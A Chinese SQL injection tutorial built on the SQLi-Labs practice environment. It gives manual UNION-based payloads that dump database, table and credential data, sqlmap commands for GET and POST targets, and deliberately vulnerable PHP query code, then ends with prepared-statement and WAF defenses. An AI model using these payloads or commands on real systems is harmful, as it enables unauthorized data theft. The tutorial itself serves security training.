SQL注入完全攻略:从手工注入到自动化工具的渗透实战
文章目录
- 前言
- SQL注入原理回顾
- 漏洞产生根源
- LIMIT子句理解
- 手工注入完整流程
- 第一步:猜测数据库语句结构
- 第二步:判断注入点与闭合方式
- 测试方法:破坏SQL语句
- 转义字符原理
- 第三步:注释后续语句
- SQL注释符
- 第四步:确定查询字段数
- ORDER BY语句
- 第五步:发现显示位
- UNION联合查询
- 第六步:获取数据库名
- 第七步:获取表名
- information_schema数据库
- 第八步:获取列名
- 第九步:导出数据
- 方法一:GROUP_CONCAT函数
- 方法二:LIMIT逐条读取
- 命令行数据库操作速查
- 基础命令
- Web环境技术栈组合
- 常见组合方式
- 1. Windows + IIS + ASP/ASP.NET + Access/MSSQL
- 2. Windows + Apache + PHP + MySQL (WAMP)
- 3. Linux + Apache/Nginx + PHP + MySQL (LAMP/LNMP)
- 4. Linux + Tomcat + Java(JSP) + Oracle/MySQL
- 5. Linux + Nginx + Python/Go + MySQL
- SQLMap自动化注入工具
- 工具介绍
- 基础用法
- 1. 获取数据库名
- 2. 获取表名
- 3. 获取列名
- 4. 导出数据
- 高级参数
- 完整命令格式
- 注入技术类型(TECHNIQUE)
- U - UNION查询注入
- E - 报错注入(Error-based)
- B - 布尔盲注(Boolean-based)
- T - 时间盲注(Time-based)
- POST型注入
- 漏洞识别
- 后端代码推测
- SQLMap POST注入
- 基本语法
- 实战命令示例
- 手工注入与工具注入对比
- 手工注入优势
- 工具注入优势
- 实战建议
- 实践任务与技能提升
- 基础学习任务
- 进阶实战练习
- 安全防护学习
- 安全加固建议
- 开发层面
- 运维层面
- 总结
前言
SQL注入是Web安全领域最经典也是最危险的漏洞类型之一。尽管这个漏洞已经被研究了二十多年,但在实际应用中仍然频繁出现。本文将系统介绍SQL注入的原理、手工注入的完整流程、不同注入类型的特点,以及SQLMap自动化工具的使用方法,帮助读者建立完整的SQL注入攻防知识体系。
安全提醒:所有实验应在虚拟机环境中进行,警惕勒索病毒等恶意软件。本文内容仅供合法授权的安全测试使用。
SQL注入原理回顾
漏洞产生根源
核心问题:用户输入直接拼接到SQL语句中
// 存在漏洞的代码
$id = $_GET['id'];
$sql = "SELECT username, password FROM users WHERE id='$id' LIMIT 0,1";
当用户可以控制$id
的值时,就可能构造恶意SQL语句改变查询逻辑。
LIMIT子句理解
-- LIMIT offset, count
LIMIT 0,1 -- 从第0条开始,取1条记录
LIMIT 1,2 -- 从第1条开始,取2条记录(第2、3条)
注意:计算机的索引通常从0开始计数。
手工注入完整流程
第一步:猜测数据库语句结构
目标:推断后端SQL语句的写法
假设的SQL语句:
SELECT username, password FROM users WHERE id='$id' LIMIT 0,1
第二步:判断注入点与闭合方式
测试方法:破坏SQL语句
常见闭合方式:
- 单引号:
'
- 双引号:
"
- 括号:
()
- 组合:
('')
、("")
、(())
- 无闭合:直接数字
测试Payload:
?id=2'
?id=2\
转义字符原理
反斜杠(\)作用:
- 将后面的字符转义为普通字符
- 破坏SQL语句的引号闭合
-- 正常语句
SELECT * FROM users WHERE id='2' LIMIT 0,1-- 添加转义符后
SELECT * FROM users WHERE id='2\' LIMIT 0,1
-- 此时第二个单引号被转义,导致语句结构破坏
报错信息示例:
You have an error in your SQL syntax near ''2\' LIMIT 0,1' at line 1
分析报错: 去掉头尾部分,得到:'2\' LIMIT 0,1
结论:使用单引号闭合
第三步:注释后续语句
SQL注释符
-- (两个减号加空格)
# (井号)
/**/ (C语言风格注释)
GET请求特殊处理:
+
在URL中表示空格--+
组合用于GET请求的注释
验证闭合方式:
?id=2' --+
后端执行语句:
SELECT username, password FROM users WHERE id='2' -- ' LIMIT 0,1
-- 等价于
SELECT username, password FROM users WHERE id='2'
如果页面正常显示,说明确实使用单引号闭合。
第四步:确定查询字段数
ORDER BY语句
测试方法:使用二分法
?id=2' ORDER BY 10 --+ (报错)
?id=2' ORDER BY 5 --+ (报错)
?id=2' ORDER BY 3 --+ (正常)
?id=2' ORDER BY 4 --+ (报错)
结论:查询了3个字段
后端语句:
SELECT id, username, password FROM users WHERE id='2' ORDER BY 3 --+
第五步:发现显示位
UNION联合查询
UNION规则:
- 前后查询的字段数必须相同
- 数据类型要兼容
命令行测试:
-- 单独查询
SELECT 1, 2, 3;-- 联合查询
SELECT * FROM users WHERE id='4' UNION SELECT 1, 2, 3, 4;
实战Payload:
?id=2' UNION SELECT 1,2,3 --+
问题:数字1、2、3不显示
原因:前面的正常查询结果覆盖了联合查询的结果
解决方案:让前面的查询返回空结果
?id=-2' UNION SELECT 1,2,3 --+
使用负数ID或不存在的ID(如2000),使第一个查询返回空,显示联合查询结果。
后端执行:
SELECT id, username, password FROM users WHERE id='-2' UNION SELECT 1,2,3 --+
发现显示位:2和3位置可以显示数据
第六步:获取数据库名
?id=-2' UNION SELECT 1,database(),3 --+
database()函数:返回当前数据库名
结果:库名为 security
第七步:获取表名
information_schema数据库
系统数据库:MySQL的"户口本",记录所有数据库的元信息
重要表:
-
TABLES:存储所有数据库的表信息
TABLE_SCHEMA
:库名TABLE_NAME
:表名
-
COLUMNS:存储所有表的列信息
TABLE_SCHEMA
:库名TABLE_NAME
:表名COLUMN_NAME
:列名
查询表名Payload:
?id=-2' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1 --+
逐个遍历:修改LIMIT参数
LIMIT 0,1 -- 第1个表
LIMIT 1,1 -- 第2个表
LIMIT 2,1 -- 第3个表
LIMIT 3,1 -- 第4个表
发现的表:
- emails
- referers
- uagents
- users (最有价值)
第八步:获取列名
查询列名Payload:
?id=-2' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1 --+
修改LIMIT遍历:
LIMIT 0,1 -- id
LIMIT 1,1 -- username
LIMIT 2,1 -- password
发现的列:
- id
- username
- password
第九步:导出数据
方法一:GROUP_CONCAT函数
一次性导出所有数据:
?id=-2' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+
GROUP_CONCAT:将多行数据合并为一个字符串
结果格式:
用户名:Dumb,Angelina,Dummy,secure
密码:Dumb,I-kill-you,p@ssword,crappy
方法二:LIMIT逐条读取
适用场景:输出有长度限制时
?id=-2' UNION SELECT 1,username,password FROM users LIMIT 0,1 --+
?id=-2' UNION SELECT 1,username,password FROM users LIMIT 1,1 --+
?id=-2' UNION SELECT 1,username,password FROM users LIMIT 2,1 --+
注意:在实战中使用GROUP_CONCAT查询所有表名时,如果数据量大可能导致页面加载缓慢。
命令行数据库操作速查
基础命令
# 连接MySQL
mysql -uroot -proot# 查看所有数据库
SHOW DATABASES;# 使用指定数据库
USE security;# 查看所有表
SHOW TABLES;# 查看表中所有数据
SELECT * FROM users;# 条件查询
SELECT * FROM users WHERE id < 13 LIMIT 1,2;# 测试数据
SELECT 1,2,3,4,5;# 联合查询
SELECT * FROM users WHERE id < 13 UNION SELECT 1,2,3;
注意:UNION查询时LIMIT可能影响结果。
Web环境技术栈组合
常见组合方式
不同的技术栈组合决定了渗透测试的思路和方法:
1. Windows + IIS + ASP/ASP.NET + Access/MSSQL
特点:
- 传统Windows环境
- Access数据库已基本淘汰(仅在部分高校存在)
- MSSQL为商业数据库
- 权限体系:可能直接获取Administrator权限
2. Windows + Apache + PHP + MySQL (WAMP)
特点:
- 使用集成环境搭建(PHPStudy等)
- 本教程使用的环境
- 开发效率高
3. Linux + Apache/Nginx + PHP + MySQL (LAMP/LNMP)
特点:
- 最常见的生产环境组合
- 可能使用宝塔面板等可视化管理工具
- 拿下后通常是www-data权限,需要提权
- 面板本身可能存在漏洞
4. Linux + Tomcat + Java(JSP) + Oracle/MySQL
特点:
- 企业级应用首选
- 政府、学校、科研机构常用
- 多为外包公司开发
- Windows环境可能获取Administrator权限
- Linux环境获取权限后:
- 普通情况:www-data权限(需提权)
- Java应用:可能直接是root权限
5. Linux + Nginx + Python/Go + MySQL
特点:
- Python框架:Django、Flask、Tornado、FastAPI
- Go框架:Beego、Gin
- 新兴互联网公司(如字节跳动)常用
- 性能优秀、开发效率高
共同点:只要与数据库有交互,就可能存在SQL注入漏洞。
SQLMap自动化注入工具
工具介绍
SQLMap特点:
- Python开源项目
- 全球最强大的SQL注入工具
- 支持多种数据库和注入类型
- 推荐在Linux/Kali环境使用
基础用法
1. 获取数据库名
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" --dbs
参数说明:
-u
:目标URL--dbs
:枚举所有数据库
2. 获取表名
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security --tables
参数说明:
-D security
:指定数据库名--tables
:枚举表名
3. 获取列名
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users --columns
参数说明:
-T users
:指定表名--columns
:枚举列名
4. 导出数据
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users -C username,password --dump
参数说明:
-C username,password
:指定列名--dump
:导出数据
高级参数
完整命令格式
sqlmap -u [目标URL] --dbs --batch --threads 10 --technique U
参数详解:
--batch
:自动选择默认选项,无需手动确认--threads 10
:使用10个线程(加快扫描速度)--technique U
:指定注入技术类型
注入技术类型(TECHNIQUE)
U - UNION查询注入
最常用、最快速的注入方式
sqlmap -u [URL] --current-db --batch --threads 10 --technique U
特点:
- 需要能显示数据
- 速度最快
- 结果最直观
E - 报错注入(Error-based)
适用场景:无法找到显示位,但数据库错误会显示
sqlmap -u [URL] --current-db --batch --threads 10 --technique E
原理:
- 通过构造特殊语句触发数据库报错
- 在报错信息中包含查询结果
- 对应靶场Less-5
B - 布尔盲注(Boolean-based)
适用场景:页面只有"有内容"和"无内容"两种状态
sqlmap -u [URL] --current-db --batch --threads 10 --technique B
原理:
- 通过构造条件判断语句
- 根据页面是否显示内容判断真假
- 逐位猜解数据
- 对应靶场Less-8
T - 时间盲注(Time-based)
适用场景:页面无任何显示差异
sqlmap -u [URL] --current-db --batch --threads 10 --technique T -v 3
原理:
- 利用SLEEP()等函数延迟响应
- 通过响应时间判断条件真假
- 最慢但最隐蔽的方式
-v 3
:显示详细调试信息
速度对比:
U (最快) > E > B > T (最慢)
POST型注入
漏洞识别
靶场环境:Less-11
测试步骤:
- 在登录表单输入:
admin1
- 点击Submit提交
- 使用Burp Suite抓包
- 在用户名后添加
'
或\
测试
判断注入点:
username: admin1'
password: admin1
如果报错,说明存在注入。
后端代码推测
<?php
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];$sql = "SELECT username, password FROM users WHERE username='$uname' AND password='$passwd' LIMIT 0,1";
?>
POST注入注释符:使用#
(井号)
测试Payload:
username: admin1'#
password: 任意值
SQLMap POST注入
基本语法
sqlmap -u [目标URL] --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U
关键参数:
--data
:POST数据*
:标记注入点(告诉SQLMap测试这个参数)
实战命令示例
UNION注入:
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin1*&passwd=admin1&submit=Submit" \
--current-db --batch --threads 10 --technique U
报错注入:
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin*&passwd=admin&submit=Submit" \
--current-db --batch --threads 10 --technique E
数据获取流程:
- 抓取POST数据包
- 复制POST数据体(最后一行)
- 用双引号包裹
- 在注入点位置添加
*
号 - 执行SQLMap命令
手工注入与工具注入对比
手工注入优势
精准控制:
- 可以根据实际情况调整Payload
- 理解每一步的原理和目的
- 遇到WAF等防护时更灵活
学习价值:
- 深入理解SQL注入原理
- 培养渗透测试思维
- 为代码审计打基础
适用场景:
- 复杂的注入场景
- 需要绕过防护的情况
- 工具无法识别的注入点
工具注入优势
效率高:
- 自动化测试多种注入类型
- 快速获取大量数据
- 减少重复劳动
覆盖全面:
- 支持多种数据库
- 测试多种注入技术
- 自动绕过部分防护
适用场景:
- 常规渗透测试
- 批量漏洞扫描
- 时间紧迫的项目
实战建议
最佳实践:
- 先手工测试,确认注入点和类型
- 了解数据库结构和查询逻辑
- 使用工具批量获取数据
- 遇到工具失效时回归手工
网站多样性:
- 大多数情况仍需手工注入
- 工具可能需要定制化改造
- 理解原理比使用工具更重要
实践任务与技能提升
基础学习任务
- PHP基础巩固
- 完成菜鸟教程PHP章节
- 理解变量、数组、函数等基础概念
- MySQL系统学习
- 学习菜鸟教程MySQL章节
- 掌握增删改查操作
- 理解联合查询、子查询等高级用法
进阶实战练习
- SQL注入靶场
- SQLi-Labs全关卡通关
- DVWA SQL注入模块
- WebGoat SQL注入课程
- 工具使用熟练
- 在Kali中安装配置SQLMap
- 测试不同的注入技术
- 学习自定义tamper脚本
- 绕过技术研究
- WAF识别与绕过
- 编码绕过技术
- 大小写、注释等变形技巧
安全防护学习
- 代码审计能力
- 识别危险函数
- 理解预编译语句
- 学习安全编码规范
- 防护方案实施
- 参数化查询实现
- 输入验证与过滤
- WAF规则配置
安全加固建议
开发层面
1. 使用预编译语句(最重要):
// 不安全
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];// 安全
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
2. 严格的输入验证:
// 验证数字类型
$id = intval($_GET['id']);
if($id <= 0) die("Invalid ID");// 验证字符串格式
if(!preg_match('/^[a-zA-Z0-9_]+$/', $_GET['username'])) {die("Invalid username format");
}
3. 最小权限原则:
- 应用使用独立数据库账户
- 仅授予必要的权限(SELECT、INSERT等)
- 禁止使用root连接应用
运维层面
1. WAF部署:
- 使用ModSecurity等开源WAF
- 配置SQL注入规则
- 定期更新规则库
2. 日志监控:
- 记录所有数据库查询
- 监控异常查询模式
- 设置告警机制
3. 定期安全审计:
- 代码安全审查
- 渗透测试演练
- 漏洞扫描检测
总结
SQL注入作为Web安全的经典漏洞,理解其原理和攻防技术对安全从业者至关重要。通过本文的学习,读者应该能够:
- 深入理解SQL注入原理:从用户输入到数据库执行的完整过程
- 掌握手工注入流程:判断闭合→确定字段→获取库名→表名→列名→数据
- 熟练使用SQLMap:自动化工具的各种参数和技术类型
- 理解不同注入类型:UNION、报错、布尔、时间盲注的特点和场景
- 具备防护意识:知道如何从开发和运维层面防御SQL注入
关键要点:
- 手工注入理解原理,工具注入提高效率
- 不同技术栈有不同的渗透思路
- 攻击与防御是一体两面的知识
- 实践是掌握技能的唯一途径
最后提醒:本文所有技术内容仅供学习和合法授权的安全测试使用。在实际工作中,必须遵守法律法规和职业道德,获得明确授权后才能进行渗透测试。未经授权的攻击行为将承担法律责任。在学习过程中,请使用虚拟机环境,避免在生产环境中进行危险操作。